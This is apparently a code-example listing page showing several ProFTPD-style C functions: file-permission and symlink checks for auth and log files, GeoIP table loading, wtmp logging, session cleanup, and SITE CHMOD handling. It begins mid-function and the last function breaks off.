
      pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0);
      pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0);
      pr_response_clear(&resp_err_list);

      destroy_pool(sub_pool);

      errno = xerrno;
      return -1;
    }

    res = create_dir(curr_path);
    if (res < 0) {
      pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0);
      pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0);
      pr_response_clear(&resp_err_list);

      destroy_pool(sub_pool);
      return -1;
    }

    pr_cmd_dispatch_phase(cmd, POST_CMD, 0);
    pr_cmd_dispatch_phase(cmd, LOG_CMD, 0);
    pr_response_clear(&resp_list);
    destroy_pool(sub_pool);
  }

  return 0;
}
Exemple #25
0
static int af_check_file(pool *p, const char *name, const char *path,
    int flags) {
  struct stat st;
  int res;
  const char *orig_path;

  orig_path = path;

  res = lstat(path, &st);
  if (res < 0) {
    int xerrno = errno;

    pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to lstat %s '%s': %s",
      name, path, strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (S_ISLNK(st.st_mode)) {
    char buf[PR_TUNABLE_PATH_MAX+1];

    /* Check the permissions on the parent directory; if they're world-writable,
     * then this symlink can be deleted/pointed somewhere else.
     */
    res = af_check_parent_dir(p, name, path);
    if (res < 0) {
      return -1;
    }

    /* Follow the link to the target path; that path will then have its
     * parent directory checked.
     */
    memset(buf, '\0', sizeof(buf));
    res = pr_fsio_readlink(path, buf, sizeof(buf)-1);
    if (res > 0) {

      /* The path contained in the symlink might itself be relative, thus
       * we need to make sure that we get an absolute path (Bug#4145).
       */
      path = dir_abs_path(p, buf, FALSE);
      if (path != NULL) {
        orig_path = path;
      }
    }

    res = stat(orig_path, &st);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to stat %s '%s': %s",
        name, orig_path, strerror(xerrno));

      errno = xerrno;
      return -1;
    }
  }

  if (S_ISDIR(st.st_mode)) {
    int xerrno = EISDIR;

    pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to use %s '%s': %s",
      name, orig_path, strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  /* World-readable files MAY be insecure, and are thus not usable/trusted. */
  if ((st.st_mode & S_IROTH) &&
       !(flags & PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE)) {
    int xerrno = EPERM;

    pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION
      ": unable to use world-readable %s '%s' (perms %04o): %s",
      name, orig_path, st.st_mode & ~S_IFMT, strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  /* World-writable files are insecure, and are thus not usable/trusted. */
  if (st.st_mode & S_IWOTH) {
    int xerrno = EPERM;

    pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION
      ": unable to use world-writable %s '%s' (perms %04o): %s",
      name, orig_path, st.st_mode & ~S_IFMT, strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (!S_ISREG(st.st_mode)) {
    pr_log_pri(PR_LOG_WARNING, MOD_AUTH_FILE_VERSION
      ": %s '%s' is not a regular file", name, orig_path);
  }

  /* Check the parent directory of this file.  If the parent directory
   * is world-writable, that too is insecure.
   */
  res = af_check_parent_dir(p, name, orig_path);
  if (res < 0) {
    return -1;
  }

  return 0;
}
Exemple #26
0
int pr_log_openfile(const char *log_file, int *log_fd, mode_t log_mode) {
  pool *tmp_pool = NULL;
  char *tmp = NULL, *lf;
  unsigned char have_stat = FALSE, *allow_log_symlinks = NULL;
  struct stat sbuf;

  /* Sanity check */
  if (!log_file || !log_fd) {
    errno = EINVAL;
    return -1;
  }

  /* Make a temporary copy of log_file in case it's a constant */
  tmp_pool = make_sub_pool(permanent_pool);
  pr_pool_tag(tmp_pool, "log_openfile() tmp pool");
  lf = pstrdup(tmp_pool, log_file);

  tmp = strrchr(lf, '/');
  if (tmp == NULL) {
    pr_log_debug(DEBUG0, "inappropriate log file: %s", lf);
    destroy_pool(tmp_pool);
    return -1;
  }

  /* Set the path separator to zero, in order to obtain the directory
   * name, so that checks of the directory may be made.
   */
  *tmp = '\0';

  if (stat(lf, &sbuf) == -1) {
    pr_log_debug(DEBUG0, "error: unable to stat() %s: %s", lf,
      strerror(errno));
    destroy_pool(tmp_pool);
    return -1;
  }

  /* The path must be in a valid directory */
  if (!S_ISDIR(sbuf.st_mode)) {
    pr_log_debug(DEBUG0, "error: %s is not a directory", lf);
    destroy_pool(tmp_pool);
    return -1;
  }

  /* Do not log to world-writeable directories */
  if (sbuf.st_mode & S_IWOTH) {
    pr_log_pri(PR_LOG_NOTICE, "error: %s is a world writeable directory", lf);
    destroy_pool(tmp_pool);
    return LOG_WRITEABLE_DIR;
  }

  /* Restore the path separator so that checks on the file itself may be
   * done.
   */
  *tmp = '/';

  allow_log_symlinks = get_param_ptr(main_server->conf, "AllowLogSymlinks",
    FALSE);

  if (!allow_log_symlinks || *allow_log_symlinks == FALSE) {
    int flags = O_APPEND|O_CREAT|O_WRONLY;

#ifdef O_NOFOLLOW
    /* On systems that support the O_NOFOLLOW flag (e.g. Linux and FreeBSD),
     * use it so that the path being opened, if it is a symlink, is not
     * followed.
     */
    flags |= O_NOFOLLOW;

#elif defined(SOLARIS2)
    /* Solaris doesn't support the O_NOFOLLOW flag.  Instead, in their
     * wisdom (hah!), Solaris decided that if the given path is a symlink
     * and the flags O_CREAT and O_EXCL are set, the link is not followed.
     * Right.  The problem here is the case where the path is not a symlink;
     * using O_CREAT|O_EXCL will then cause the open() to fail if the
     * file already exists.
     */
    flags |= O_EXCL;
#endif /* O_NOFOLLOW or SOLARIS2 */

    *log_fd = open(lf, flags, log_mode);
    if (*log_fd == -1) {

      if (errno != EEXIST) {
        destroy_pool(tmp_pool);

        /* More portability fun: Linux likes to report ELOOP if O_NOFOLLOW
         * is used to open a symlink file; FreeBSD likes to return EMLINK.
         * Both would lead to rather misleading error messages being
         * logged.  Catch these errnos, and return the value that properly
         * informs the caller that the given path was an illegal symlink.
         */

        switch (errno) {
#ifdef ELOOP
          case ELOOP:
            return LOG_SYMLINK;
#endif /* ELOOP */

#ifdef EMLINK
          case EMLINK:
            return LOG_SYMLINK;
#endif /* EMLINK */
        }

        return -1;

      } else {
#if defined(SOLARIS2)
        /* On Solaris, because of the stupid multiplexing of O_CREAT and
         * O_EXCL to get open() not to follow a symlink, it's possible that
         * the path already exists.  Now, we'll try to open() without
         * O_EXCL, then lstat() the path to see if this pre-existing file is
         * a symlink or a regular file.
         *
         * Note that because this check cannot be done atomically on Solaris,
         * the possibility of a race condition/symlink attack still exists.
         * Solaris doesn't provide a good way around this situation.
         */
        flags &= ~O_EXCL;

        *log_fd = open(lf, flags, log_mode);
        if (*log_fd == -1) {
          destroy_pool(tmp_pool);
          return -1;
        }

        /* The race condition on Solaris is here, between the open() call
         * above and the lstat() call below...
         */

        if (lstat(lf, &sbuf) != -1)
          have_stat = TRUE;
#else
        destroy_pool(tmp_pool);
        return -1;
#endif /* SOLARIS2 */
      }
    }

    /* Stat the file using the descriptor, not the path */
    if (!have_stat && fstat(*log_fd, &sbuf) != -1)
      have_stat = TRUE;

    if (!have_stat || S_ISLNK(sbuf.st_mode)) {
      pr_log_debug(DEBUG0, !have_stat ? "error: unable to stat %s" :
        "error: %s is a symbolic link", lf);

      close(*log_fd);
      *log_fd = -1;
      destroy_pool(tmp_pool);
      return LOG_SYMLINK;
    }

  } else {
    *log_fd = open(lf, O_CREAT|O_APPEND|O_WRONLY, log_mode);
    if (*log_fd == -1) {
      destroy_pool(tmp_pool);
      return -1;
    }
  }

  destroy_pool(tmp_pool);
  return 0;
}
Exemple #27
0
static void get_geoip_tables(array_header *geoips, int filter_flags) {
  config_rec *c;

  c = find_config(main_server->conf, CONF_PARAM, "GeoIPTable", FALSE);
  while (c) {
    GeoIP *gi;
    const char *path;
    int flags, use_utf8 = FALSE;

    pr_signals_handle();

    path = c->argv[0];
    flags = *((int *) c->argv[1]);
    use_utf8 = *((int *) c->argv[2]);

    /* Make sure we open tables that are marked with the default
     * GEOIP_STANDARD flag, which has a value of zero.
     */
    if ((flags == GEOIP_STANDARD && filter_flags != GEOIP_STANDARD) || 
        !(flags & filter_flags)) {
      c = find_config_next(c, c->next, CONF_PARAM, "GeoIPTable", FALSE);
      continue;
    } 

    PRIVS_ROOT
    gi = GeoIP_open(path, flags);
    if (gi == NULL &&
        (flags & GEOIP_INDEX_CACHE)) {
      /* Per Bug#3975, a common cause of this error is the fact that some
       * of the Maxmind GeoIP Lite database files simply do not have indexes.
       * So try to open them as standard databases as a fallback.
       */
      pr_log_debug(DEBUG8, MOD_GEOIP_VERSION
        ": unable to open GeoIPTable '%s' using the IndexCache flag "
        "(database lacks index?), retrying without IndexCache flag", path);
      flags &= ~GEOIP_INDEX_CACHE;
      gi = GeoIP_open(path, flags);
    }
    PRIVS_RELINQUISH

    if (gi != NULL) {
      if (use_utf8) {
        GeoIP_set_charset(gi, GEOIP_CHARSET_UTF8); 
      }

      *((GeoIP **) push_array(geoips)) = gi;

      pr_trace_msg(trace_channel, 15, "loaded GeoIP table '%s': %s (type %d)",
        path, GeoIP_database_info(gi), GeoIP_database_edition(gi));

    } else {
      /* XXX Sigh.  Stupid libGeoIP library logs to stdout/stderr, rather
       * than providing a strerror function.  Grr!
       */

      pr_log_pri(PR_LOG_WARNING, MOD_GEOIP_VERSION
        ": warning: unable to open/use GeoIPTable '%s'", path);
    }

    c = find_config_next(c, c->next, CONF_PARAM, "GeoIPTable", FALSE);
  }

  if (geoips->nelts == 0 &&
      static_geoips->nelts == 0 &&
      ((filter_flags == GEOIP_STANDARD) ||
       (filter_flags & GEOIP_CHECK_CACHE))) {
    GeoIP *gi;

    /* Let the library use its own default database file(s), if no others
     * have been configured.
     */

    PRIVS_ROOT
    gi = GeoIP_new(GEOIP_STANDARD);
    PRIVS_RELINQUISH

    if (gi != NULL) {
      *((GeoIP **) push_array(geoips)) = gi;

      pr_trace_msg(trace_channel, 15,
        "loaded default GeoIP table: %s (type %d)",
        GeoIP_database_info(gi), GeoIP_database_edition(gi));

    } else {
      pr_log_pri(PR_LOG_WARNING, MOD_GEOIP_VERSION
        ": warning: unable to open/use default GeoIP library database file(s)");
    }
  }
Exemple #28
0
int log_wtmp(char *line, const char *name, const char *host,
    pr_netaddr_t *ip) {
  struct stat buf;
  struct utmp ut;
  int res = 0;
  static int fd = -1;

#if (defined(SVR4) || defined(__SVR4)) && \
    !(defined(LINUX) || defined(__hpux) || defined (_AIX))
  /* This "auxilliary" utmp doesn't exist under linux. */
#ifdef __sparcv9
  struct futmpx utx;
  time_t t;
#else
  struct utmpx utx;
#endif
  static int fdx = -1;

  if (fdx < 0 &&
      (fdx = open(WTMPX_FILE, O_WRONLY|O_APPEND, 0)) < 0) {
    pr_log_pri(PR_LOG_WARNING, "wtmpx %s: %s", WTMPX_FILE, strerror(errno));
    return -1;
  }

  /* Unfortunately, utmp string fields are terminated by '\0' if they are
   * shorter than the size of the field, but if they are exactly the size of
   * the field they don't have to be terminated at all.  Frankly, this sucks.
   * Insane if you ask me.  Unless there's massive uproar, I prefer to err on
   * the side of caution and always null-terminate our strings.
   */
  if (fstat(fdx, &buf) == 0) {
    memset(&utx, 0, sizeof(utx));

    sstrncpy(utx.ut_user, name, sizeof(utx.ut_user));
    sstrncpy(utx.ut_id, "ftp", sizeof(utx.ut_user));
    sstrncpy(utx.ut_line, line, sizeof(utx.ut_line));
    sstrncpy(utx.ut_host, host, sizeof(utx.ut_host));
    utx.ut_syslen = strlen(utx.ut_host)+1;
    utx.ut_pid = getpid();
#ifdef __sparcv9
    time(&t);
    utx.ut_tv.tv_sec = (time32_t)t;
#else
    time(&utx.ut_tv.tv_sec);
#endif
    if (*name)
      utx.ut_type = USER_PROCESS;
    else
      utx.ut_type = DEAD_PROCESS;
#ifdef HAVE_UT_UT_EXIT
    utx.ut_exit.e_termination = 0;
    utx.ut_exit.e_exit = 0;
#endif /* HAVE_UT_UT_EXIT */
    if (write(fdx, (char *)&utx, sizeof(utx)) != sizeof(utx))
      ftruncate(fdx, buf.st_size);

  } else {
    pr_log_debug(DEBUG0, "%s fstat(): %s", WTMPX_FILE, strerror(errno));
    res = -1;
  }

#else /* Non-SVR4 systems */

  if (fd < 0 &&
      (fd = open(WTMP_FILE, O_WRONLY|O_APPEND, 0)) < 0) {
    pr_log_pri(PR_LOG_WARNING, "wtmp %s: %s", WTMP_FILE, strerror(errno));
    return -1;
  }

  if (fstat(fd, &buf) == 0) {
    memset(&ut, 0, sizeof(ut));
#ifdef HAVE_UTMAXTYPE
# ifdef LINUX
    if (ip)
#  ifndef PR_USE_IPV6
      memcpy(&ut.ut_addr, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr));
#  else
      memcpy(&ut.ut_addr_v6, pr_netaddr_get_inaddr(ip), sizeof(ut.ut_addr_v6));
#  endif /* !PR_USE_IPV6 */
# else
    sstrncpy(ut.ut_id, "ftp", sizeof(ut.ut_id));
#  ifdef HAVE_UT_UT_EXIT
    ut.ut_exit.e_termination = 0;
    ut.ut_exit.e_exit = 0;
#  endif /* !HAVE_UT_UT_EXIT */
# endif /* !LINUX */
    sstrncpy(ut.ut_line, line, sizeof(ut.ut_line));
    if (name && *name)
      sstrncpy(ut.ut_user, name, sizeof(ut.ut_user));
    ut.ut_pid = getpid();
    if (name && *name)
      ut.ut_type = USER_PROCESS;
    else
      ut.ut_type = DEAD_PROCESS;
#else  /* !HAVE_UTMAXTYPE */
    sstrncpy(ut.ut_line, line, sizeof(ut.ut_line));
    if (name && *name)
      sstrncpy(ut.ut_name, name, sizeof(ut.ut_name));
#endif /* HAVE_UTMAXTYPE */

#ifdef HAVE_UT_UT_HOST
    if (host && *host)
      sstrncpy(ut.ut_host, host, sizeof(ut.ut_host));
#endif /* HAVE_UT_UT_HOST */

    time(&ut.ut_time);
    if (write(fd, (char *)&ut, sizeof(ut)) != sizeof(ut))
      ftruncate(fd, buf.st_size);

  } else {
    pr_log_debug(DEBUG0, "%s fstat(): %s",WTMP_FILE,strerror(errno));
    res = -1;
  }
#endif /* SVR4 */

  return res;
}
Exemple #29
0
static void sess_cleanup(int flags) {

  /* Clear the scoreboard entry. */
  if (ServerType == SERVER_STANDALONE) {

    /* For standalone daemons, we only clear the scoreboard slot if we are
     * an exiting child process.
     */

    if (!is_master) {
      if (pr_scoreboard_entry_del(TRUE) < 0 &&
          errno != EINVAL &&
          errno != ENOENT) {
        pr_log_debug(DEBUG1, "error deleting scoreboard entry: %s",
          strerror(errno));
      }
    }

  } else if (ServerType == SERVER_INETD) {
    /* For inetd-spawned daemons, we always clear the scoreboard slot. */
    if (pr_scoreboard_entry_del(TRUE) < 0 &&
        errno != EINVAL &&
        errno != ENOENT) {
      pr_log_debug(DEBUG1, "error deleting scoreboard entry: %s",
        strerror(errno));
    }
  }

  /* If session.user is set, we have a valid login. */
  if (session.user &&
      session.wtmp_log) {
    const char *sess_ttyname;

    sess_ttyname = pr_session_get_ttyname(session.pool);
    log_wtmp(sess_ttyname, "", pr_netaddr_get_sess_remote_name(),
      pr_netaddr_get_sess_remote_addr());
  }

  /* These are necessary in order that cleanups associated with these pools
   * (and their subpools) are properly run.
   */
  if (session.d) {
    pr_inet_close(session.pool, session.d);
    session.d = NULL;
  }

  if (session.c) {
    pr_inet_close(session.pool, session.c);
    session.c = NULL;
  }

  /* Run all the exit handlers */
  pr_event_generate("core.exit", NULL);

  if (!is_master ||
      (ServerType == SERVER_INETD &&
      !(flags & PR_SESS_END_FL_SYNTAX_CHECK))) {
    pr_log_pri(PR_LOG_INFO, "%s session closed.",
      pr_session_get_protocol(PR_SESS_PROTO_FL_LOGOUT));
  }

  log_closesyslog();
}
Exemple #30
0
MODRET site_chmod(cmd_rec *cmd) {
  int res;
  mode_t mode = 0;
  char *dir, *endp, *mode_str, *tmp, *arg = "";
  struct stat st;
  register unsigned int i = 0;
#ifdef PR_USE_REGEX
  pr_regex_t *pre;
#endif

  if (cmd->argc < 3) {
    pr_response_add_err(R_500, _("'SITE %s' not understood"),
      _get_full_cmd(cmd));
    return NULL;
  }

  /* Construct the target file name by concatenating all the parameters after
   * the mode, separating them with spaces.
   */
  for (i = 2; i <= cmd->argc-1; i++) {
    char *decoded_path;

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[i], strerror(xerrno));
      pr_response_add_err(R_550,
        _("SITE %s: Illegal character sequence in command"),
        (char *) cmd->argv[1]);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    arg = pstrcat(cmd->tmp_pool, arg, *arg ? " " : "", decoded_path, NULL);
  }

#ifdef PR_USE_REGEX
  pre = get_param_ptr(CURRENT_CONF, "PathAllowFilter", FALSE);
  if (pre != NULL &&
      pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) != 0) {
    pr_log_debug(DEBUG2, "'%s %s %s' denied by PathAllowFilter",
      (char *) cmd->argv[0], (char *) cmd->argv[1], arg);
    pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg);

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }

  pre = get_param_ptr(CURRENT_CONF, "PathDenyFilter", FALSE);
  if (pre != NULL &&
      pr_regexp_exec(pre, arg, 0, NULL, 0, 0, 0) == 0) {
    pr_log_debug(DEBUG2, "'%s %s %s' denied by PathDenyFilter",
      (char *) cmd->argv[0], (char *) cmd->argv[1], arg);
    pr_response_add_err(R_550, _("%s: Forbidden filename"), cmd->arg);

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }
#endif

  if (pr_fsio_lstat(arg, &st) == 0) {
    if (S_ISLNK(st.st_mode)) {
      char link_path[PR_TUNABLE_PATH_MAX];
      int len;

      memset(link_path, '\0', sizeof(link_path));
      len = dir_readlink(cmd->tmp_pool, arg, link_path, sizeof(link_path)-1,
        PR_DIR_READLINK_FL_HANDLE_REL_PATH);
      if (len > 0) {
        link_path[len] = '\0';
        arg = pstrdup(cmd->tmp_pool, link_path);
      }
    }
  }

  dir = dir_realpath(cmd->tmp_pool, arg);
  if (dir == NULL) {
    int xerrno = errno;

    pr_response_add_err(R_550, "%s: %s", arg, strerror(xerrno));

    pr_cmd_set_errno(cmd, xerrno);
    errno = xerrno;
    return PR_ERROR(cmd);
  }

  /* If the first character isn't '0', prepend it and attempt conversion.
   * This will fail if the chmod is a symbolic, but takes care of the
   * case where an octal number is sent without the leading '0'.
   */
  mode_str = cmd->argv[1];
  if (mode_str[0] != '0') {
    tmp = pstrcat(cmd->tmp_pool, "0", mode_str, NULL);

  } else {
    tmp = mode_str;
  }

  mode = strtol(tmp, &endp, 0);
  if (endp && *endp) {
    /* It's not an absolute number, try symbolic */
    char *cp = mode_str;
    int mask = 0, mode_op = 0, curr_mode = 0, curr_umask = umask(0);
    int invalid = 0;
    char *who, *how, *what;

    umask(curr_umask);
    mode = 0;

    if (pr_fsio_stat(dir, &st) != -1) {
      curr_mode = st.st_mode;
    }

    while (TRUE) {
      pr_signals_handle();

      who = pstrdup(cmd->tmp_pool, cp);

      tmp = strpbrk(who, "+-=");
      if (tmp != NULL) {
        how = pstrdup(cmd->tmp_pool, tmp);
        if (*how != '=') {
          mode = curr_mode;
        }

        *tmp = '\0';

      } else {
        invalid++;
        break;
      }

      tmp = strpbrk(how, "rwxXstugo");
      if (tmp != NULL) {
        what = pstrdup(cmd->tmp_pool, tmp);
        *tmp = '\0';

      } else {
        invalid++;
        break;
      }

      cp = what;
      while (cp) {
        switch (*who) {
          case 'u':
            mask = 0077;
            break;

          case 'g':
            mask = 0707;
            break;

          case 'o':
            mask = 0770;
            break;

          case 'a':
            mask = 0000;
            break;

          case '\0':
            mask = curr_umask;
            break;

          default:
            invalid++;
            break;
        }

        if (invalid)
          break;

        switch (*how) {
          case '+':
          case '-':
          case '=':
            break;

          default:
            invalid++;
        }

        if (invalid)
          break;

        switch (*cp) {
          case 'r':
            mode_op |= (S_IRUSR|S_IRGRP|S_IROTH);
            break;

          case 'w':
            mode_op |= (S_IWUSR|S_IWGRP|S_IWOTH);
            break;

          case 'x':
            mode_op |= (S_IXUSR|S_IXGRP|S_IXOTH);
            break;

          /* 'X' not implemented */
          case 's':
            /* setuid */
            mode_op |= S_ISUID;
            break;

          case 't':
            /* sticky */
            mode_op |= S_ISVTX;
            break;

          case 'o':
            mode_op |= (curr_mode & S_IRWXO);
            mode_op |= ((curr_mode & S_IRWXO) << 3);
            mode_op |= ((curr_mode & S_IRWXO) << 6);
            break;

          case 'g':
            mode_op |= ((curr_mode & S_IRWXG) >> 3);
            mode_op |= (curr_mode & S_IRWXG);
            mode_op |= ((curr_mode & S_IRWXG) << 3);
            break;

          case 'u':
            mode_op |= ((curr_mode & S_IRWXU) >> 6);
            mode_op |= ((curr_mode & S_IRWXU) >> 3);
            mode_op |= (curr_mode & S_IRWXU);
            break;

          case '\0':
            /* Apply the mode and move on */
            switch (*how) {
              case '+':
              case '=':
                mode |= (mode_op & ~mask);
                break;

              case '-':
                mode &= ~(mode_op & ~mask);
                break;
            }

            mode_op = 0;
            if (*who && *(who+1)) {
              who++;
              cp = what;
              continue;

            } else {
              cp = NULL;
            }
            break;

          default:
            invalid++;
        }

        if (invalid) {
          break;
        }

        if (cp) {
          cp++;
        }
      }
      break;
    }

    if (invalid) {
      pr_response_add_err(R_550, _("'%s': invalid mode"), (char *) cmd->argv[1]);

      pr_cmd_set_errno(cmd, EINVAL);
      errno = EINVAL;
      return PR_ERROR(cmd);
    }
  }